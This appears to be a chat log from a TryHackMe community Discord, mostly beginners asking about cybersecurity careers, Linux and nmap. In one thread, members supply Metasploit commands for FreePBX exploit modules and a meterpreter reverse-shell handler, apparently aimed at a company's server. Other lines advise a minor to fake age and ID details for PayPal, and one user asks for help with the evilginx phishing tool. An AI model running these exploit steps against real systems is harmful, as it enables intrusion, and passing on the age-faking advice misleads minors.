what's the difference between a degree in computer science and some tinkerer/bounty hunter? 🤔

[tame axle]

yh not good to lose at 14 yrs dawg

finna go bald by 18

[stuck ridge]

Malware analyse

[wet eagle]

I think many computer science students end up like that ;-;

[pure steeple]

AI already took your job, enjoy your retirement at 18

[tame axle]

not cybersed

[stuck ridge]

Bounty hunter is just for more trusty. Cs is for more chance to get hire

Welp

[wet eagle]

I have a question, does AI also take over with cyber security?

[wet eagle]

Oh okay, thx!

[twin ridge]

Gave +1 Rep to @stuck ridge (current: #500 - 16)

[pure steeple]

yes

[tame axle]

no

[wet eagle]

?

[pure steeple]

we're in TryHackMe, house of the AI, you must say yes

[stuck ridge]

You can go bug bounty if you have enough knowledge to find a bug and the company will pay for you if the bug is valid.

[tame axle]

i wnna get paypal acc setup but my parents aint letting

[wet eagle]

Ooo okay

[stuck ridge]

-# fake your age...

[tame axle]

https://klipy.com/gifs/fadding-smart

[pure steeple]

I like C to start because it is lower level and gives students practice with concepts like memory, pointers, a compiler etc. You need to understand how computers work to break them. I'm not saying you need to know C in detail or spend more than 2-3 weeks. You can move to a higher level language like Python. But they designed the learning path in CS50 intentionally, and it is very successful.

[stuck ridge]

-# and enter your id number as 1234567890

-# dont tell anyone this

[wet eagle]

is it hard to be a bug bounty? I mean is it necessary to have a degree or is it sheer practice? I was thinking about doing so

[pure steeple]

yes

[tame axle]

continues to say it in a public group

[pure steeple]

barf

[stuck ridge]

Every jobs in this field is hard, you have to accept the fact that finding jobs and get pay in this field is very hard

[tame axle]

https://klipy.com/gifs/pauly0x-pond-2

[wet eagle]

are you speaking from experience?

[pure steeple]

Everyone wants to make money and survive. There are x jobs and y applicants. You will need to be better than 50% of the other applicants, at least. So start skilling up.

[stuck ridge]

No :))

I dont need a job :))

[stuck ridge]

Im still a teenager

And only job i can do is bug hunter

[wet eagle]

oki, I will still have in mind your advice :))

[stuck ridge]

A wise teenager advice

[pure steeple]

this is an oxymoron

[wet eagle]

Is that nmap?

[tame axle]

keep learning like me devlop skills then later when ur applying for a job it will be easy

[stuck ridge]

No, it is my ultra sigma hyper threading ddos 5000 attacker

-# jk it is nmap

[wet eagle]

😭

Everytime I try nmap it just keep failing

It shucks:((

[paper kettle]

hey is it normal that in this room
https://tryhackme.com/room/winadbasics
There's ALWAYS someone logged on Sophie's Desktop and I cant get Flag from it? its task 4 and I've been waiting for like an hour now

[tame axle]

ima put this in ma tt story

[stuck ridge]

Im planing to go to blue team when im apply for a job

[pure steeple]

spends $5000, gets code that is just nmap in a while loop ... typical hacking transaction

[wet eagle]

wut that mean?

[wet eagle]

do hackers use gaming laptop? 🤔 Always wondered that

[stuck ridge]

I can hack in a mobile phone if it have kali or parrot installed

[pure steeple]

pretty sure they use whatever they can get their hands on

[stuck ridge]

Or a fridge

[tame axle]

i love the music in this whats the name

[tame axle]

thinkpad

[agile topaz]

What matters most is skill not the laptop

[wet eagle]

I believe you need root for doing so right?

[stuck ridge]

Dancing nihist (idk if it is right)

[boreal scarab]

https://tenor.com/view/cat-fbi-fbi-open-up-gif-293416153668306594

[wet eagle]

Okayy!!

[wet eagle]

https://tenor.com/view/oso-lunaistabby-luna-tabby-cat-gif-15027269540619359771

[stuck ridge]

Yes, for kali, parrot doesnt have a img for mobile yet

[tame axle]

https://klipy.com/gifs/lenovo-lenovo-think-48

[boreal scarab]

https://tenor.com/view/cat-cat-love-cat-hug-cat-laptop-cat-computer-gif-26609558

[agile topaz]

But honestly a real hacker could still hack you with a potato laptop if they have the skills

[stuck ridge]

I can hack from the smart frigde if they have kali installed and internet connection

Or smart toaster

[wet eagle]

is you're a tinkerer is it necessary doing root or with doing proot is just enough?

[pure steeple]

nah, can't hack me, I run bsd v1.0, patched

[stuck ridge]

What is it?

[wet eagle]

what?

[stuck ridge]

Tinkerer

What is tinkerer?

[wet eagle]

how do I explain it

uhm

[pure steeple]

A tinker is
a person who makes minor, often experimental repairs on mechanical or household items, or an archaic term for an itinerant mender of pots and pans. As a verb, to tinker means to fix, adjust, or experiment with something in a casual, aimless, or sometimes unskillful manner.

[agile topaz]

hacked from a toaster would be a legendary story

[boreal scarab]

@cosmic pendant You're apparently Legendary.

[pure steeple]

@cosmic pendant

ha same thoughts

[boreal scarab]

[cosmic pendant]

I've hacked coffee pot before

[wet eagle]

:0

[stuck ridge]

I think if u can u should root (only if the phone you rooted isnt important)

[pure steeple]

do it now b/c I need it to give me more coffee

[tame axle]

@bold rover how dose it look so far ?

[wet eagle]

Okayy!!

Also one question

why is Kali so important for you when talking about hacking?

🤔

[stuck ridge]

It is a toolbox

[pure steeple]

it's just convenient, it has lots of tools pre-installed

[stuck ridge]

And it is designed to hack

[agile topaz]

now it brews root access instead of coffee

[stuck ridge]

Only...to hack

[wet eagle]

no sudo apt install needed?

[stuck ridge]

You cannot use it for daily use, its repo only have tools

[wet eagle]

Oo

[tame axle]

i thought of adding sound effects to the typing

[pure steeple]

You can pull packages from other repos

[boreal scarab]

No no no, NO. You're banned from Coffee, mr "I put it in the microwave" ass

[stuck ridge]

Oh

[agile topaz]

If it were real it would basically be IoT security testing

[tame axle]

ah alr

[cosmic pendant]

It was really cool, it was at a national lab, you had to hack the coffee pot each morning to get it started

[wet eagle]

can I hack a lightbulb like in watchdog2? 🤔

[stuck ridge]

But i remember that their devs even dont recommended to use kali as a daily os

[stuck ridge]

If it is a smart one

[tame axle]

currently outa 10 how much would you give it

[stuck ridge]

You can exploit its firmware and get in

[pure steeple]

who is "devs"

[bold rover]

Looking good

[wet eagle]

Okay!

[stuck ridge]

developers

[pure steeple]

Just do what you want to do, there are very few absolutes

[wet eagle]

Hii

[stuck ridge]

Yea

[agile topaz]

Cool that sounds like the most hacker workplace ever

[stuck ridge]

Then raise the voltage to maximum and kabum it

[agile topaz]

Imagine coming to work and instead of a keycard you run a quick exploit

[stuck ridge]

Woah

[wet eagle]

what does it mean when something is open source?

[agile topaz]

No hack becomes no coffee.

[stuck ridge]

The source is open to public, you can access it

Anyone can access it

[pure steeple]

https://www.jitbit.com/alexblog/249-now-thats-what-i-call-a-hacker/

Also, the public community maintains it and makes updates to it

[stuck ridge]

A closed source mean you only have the .exe or binary files, you cannot access the source

[wet eagle]

Ooo, okay thanks!

[twin ridge]

Gave +1 Rep to @stuck ridge (current: #483 - 17)

[agile topaz]

Let me check

[tame axle]

just a blog

[pure steeple]

its about hacking coffee pots

kind of

[tame axle]

im still making it

[agile topaz]

Real hackers dont start their day with coffee they start with an SSH session to the coffee machine

[wet eagle]

why do many people here use linux rather than maybe windows or macOS?

[tame axle]

caffein for the machine type shi

[stuck ridge]

Because linux is our heart

[acoustic crystal]

sup

[stuck ridge]

Open source + there are many distros

[agile topaz]

Linux is free and open source

[tame axle]

my IT teacher was flaming linux yesterday

[wet eagle]

Ooo

[pure steeple]

pls rate my website: https://www.webdesignmuseum.org/uploaded/fullscreen/slashs-snakepit-1995.png

[wet eagle]

does that also make Linux better for daily use?

[stuck ridge]

If you want minimalist, arch. If you want daily use, ubuntu. If you want hacking, kali, parrot, etc

[soft pike]

Im having a hard time trying to run a module in metasploit. Can someone help me? can pay 5$usd lol

[agile topaz]

[stuck ridge]

Yes, there are many distros for that like ubuntu

[pure steeple]

your IT teacher is silly

[stuck ridge]

The support was free and you tell us that you will pay???

[tame axle]

i got sent out of the class for arguing with her

[wet eagle]

since I'm a noob, I was considering using Debian or mint

[pure steeple]

depends on why you're running it

[stuck ridge]

Debian is for server?

[pure steeple]

Debian is just debian

[agile topaz]

Ill rate it like a 1995 website

[wet eagle]

what does that mean?

[agile topaz]

8/10

[coarse hedge]

Rate mine as well, please:
https://admin.tryhackme.com/my-new-website

[pure steeple]

10/10

[wet eagle]

ahh

[stuck ridge]

You r not getting me, i always use it

[tame axle]

i hope u have a warm pilloe tonight and ur toes dont fit in ur blanket

[coarse hedge]

Thanks, you guys are kind

[wet eagle]

how do y'all not get hacked? 🤔 What methods may I ask you guys might use?

[agile topaz]

Nice one

[pure steeple]

pro tip: never trust links from anyone above 0xD rank

[soft pike]

I want to execute it against local server

[stuck ridge]

Opsec, do not press on random links, never trust anything. Use zero-trust as a philosophy to you.

[pure steeple]

ok, what's your local server running, and why?

[coarse hedge]

I have an answer for that in my website
https://admin.tryhackme.com/how-to-protect-yourself?id=1

[stuck ridge]

And also, make your password as long as u can remember it

[pure steeple]

Rotate passwords often

Quit League of Legends

[soft pike]

freepbx, I want to check if my server has been patched since updated.

[wet eagle]

woahuh just told me to not click on random links 🤔

[wet eagle]

Okayyy!! Thx

[twin ridge]

Gave +1 Rep to @stuck ridge (current: #463 - 18)

[pure steeple]

in fact, just quit the internet and go start a small farm

[bold rover]

Hiiii

[coarse hedge]

I am just helping you and making your life easier

[tame axle]

dont i fell for it again

[wet eagle]

How's it going!!

[stuck ridge]

Yes, my boy, zero trust.

[wet eagle]

okay appreciate it

[tame axle]

im gonna be under ur bed tonight

[wet eagle]

but I feel like it's gonna be a rickroll

Is it?

[stuck ridge]

Yea it is

[wet eagle]

heh, I knew it!!

[pure steeple]

ok then try something like

msfconsole
use exploit/unix/http/freepbx_unauth_sqli_to_rce
set RHOSTS [Target-IP]
set LHOST [Your-IP]
set LPORT 4444
exploit

[coarse hedge]

Lmao.
Funny, I work in SOCC..... No use if you're under my bed

[bold rover]

Good, wbu

[stuck ridge]

Any request go to that subdomain of thm will get redirect to a 4k, clear version of rickroll

[wet eagle]

I'm doing fine! Just learning over here 😄

[tame axle]

https://klipy.com/gifs/zamn-5

gtg bye guys

https://klipy.com/gifs/hospital-hello-1

[soft pike]

Im trying with unix/http/freepbx_firmware_file_upload, I set rhost, rport, lhost, lport and run it but get this error:

[] Exploiting target 10.0.0.18
[] Started reverse TCP handler on 10.0.0.18:4444
[*] Trying to bypass authentication...
[-] Exploit aborted due to failure: unexpected-reply: Received unexpected reply

[agile topaz]

Bye

[pure steeple]

Are you having the right port for your server? Is your server actually open to this path of attack? Can you do things manually with curl? Really not enough info to know whats going wrong without more logging, some packets to inspect, or source code for your server.

and make sure RHOST and LHOST are different ... right now from your output they look the same?

[wet eagle]

guys what was nmap for? How may I use it? I just wanna explore my own router

[pure steeple]

Nmap ("Network Mapper") is a free, open-source tool used for network discovery, security auditing, and inventory management. It scans networks to identify active hosts, open ports, available services (application name/version), and operating systems. Cybersecurity professionals use it to detect vulnerabilities and monitor network uptime.

[soft pike]

Yes, I set my server port to 443 and set RHOST to 443. RHOST and LHOST are different.

[pure steeple]

You're saying HOST stuff but giving PORT numbers. Does not compute.

[wet eagle]

what's that?

[soft pike]

Okay, let me explain better. I set up my localhost + port like this:

msf > use /exploit/multi/handler
[] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.0.18
LHOST => 10.0.0.18
msf exploit(multi/handler) > set LPORT 444
LPORT => 444
msf exploit(multi/handler) > exploit
[] Started reverse TCP handler on 10.0.0.18:444

And rhost is running on port 443 example ip:443

[wet eagle]

Okay

[quick blaze]

Err....what?

[pure steeple]

RHOST is missing

[wet eagle]

Does anyone know why is nmap not working here? I must be horrible doing this 😢

wat?

😭

[pure steeple]

just do nmap 192.168.0.1 to start

[wet eagle]

Okay I will try that!

[gloomy stag]

first check whether target is in network or not use ping first...

[soft pike]

Im setting rhost correctly.

msf exploit(unix/http/freepbx_firmware_file_upload) > set LHOST 10.0.0.18
LHOST => 10.0.0.18
msf exploit(unix/http/freepbx_firmware_file_upload) > set LPORT 444
LPORT => 444
msf exploit(unix/http/freepbx_firmware_file_upload) > set USERNAME admin
USERNAME => admin
msf exploit(unix/http/freepbx_firmware_file_upload) > set RPORT 443
RPORT => 443
msf exploit(unix/http/freepbx_firmware_file_upload) > set RHOST 10.0.0.11
RHOTS => 10.0.0.11
msf exploit(unix/http/freepbx_firmware_file_upload) > run

[pure steeple]

RHOTS => 10.0.0.11 Metasploit didn't make this typo

[wet eagle]

okay!

[pure steeple]

So you're not copy/pasting actual output?

[wet eagle]

also what should I do if it says "permission denied"? 🤔

[stuck ridge]

Then idk, you need to root for permisson

[soft pike]

Im replacing rhost since I don't know if I'm able to poste ips here

[wet eagle]

Okay

[stuck ridge]

And you def dont want to do that on your phone

[stoic quarry]

Ye

[pure steeple]

he said it's his home lab, but I have my doubts

[soft pike]

I run a freepbx server a security company that have a small call center for cs.

[stoic quarry]

Did one day of THM. Time to commit crimes - That guy ig

[soft pike]

I really appreciate help but if you guys cant help me for legal or ethical things I understand.

[pure steeple]

Can try https://tryhackme.com/module/metasploit and go from there, not enough info to help debug 🙁

[stuck ridge]

"Oh, metasploit contains all the exploit???"

[stoic quarry]

You shouldn't take legal advice from strangers on discord

[soft pike]

Im not taking anything, just asking for help cause dont know why I can run test

Thats all

Ty anyways

[stoic quarry]

A classic

[chrome abyss]

hi

i need help with evilgnix

[stuck ridge]

What is evilgnix??

[chrome abyss]

evilginx is tool

https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)

[wet eagle]

I don't get it 😢

[chrome abyss]

0_0

nmap from phone

[wet eagle]

yes

[chrome abyss]

dude you are crazy

[wet eagle]

why? What's wrong?

[chrome abyss]

nothing . its to hard for me

[wet eagle]

yeah, for me too, especially when nmap doesn't comply

😢

[chrome abyss]

take trail chat gpt

use chat gpt cli

and talk with ai to help you 😉

[tame axle]

you have to root the phone first of all

[wet eagle]

Proot is not enough?

i swear it worked before

[tame axle]

nope

[chrome abyss]

root phone ? i think use vps

[tame axle]

he is using termux

[wet eagle]

Yeah!

Which I'm bad with :))

[chrome abyss]

wtf

omg dude wow hhahahaha

[tame axle]

https://www.youtube.com/watch?v=x4CUAuwoZVk

[tame axle]

peak cinema

[wet eagle]

but I'm doing everything right...

mobile is kinda tricky

https://tenor.com/view/的9-gif-27299608

[kind linden]

just ignore that warning. It says that , the Distro u trying to use mostly works with x64 structured processors but phones don't use those kind of processor so this warning occurs. Just ignore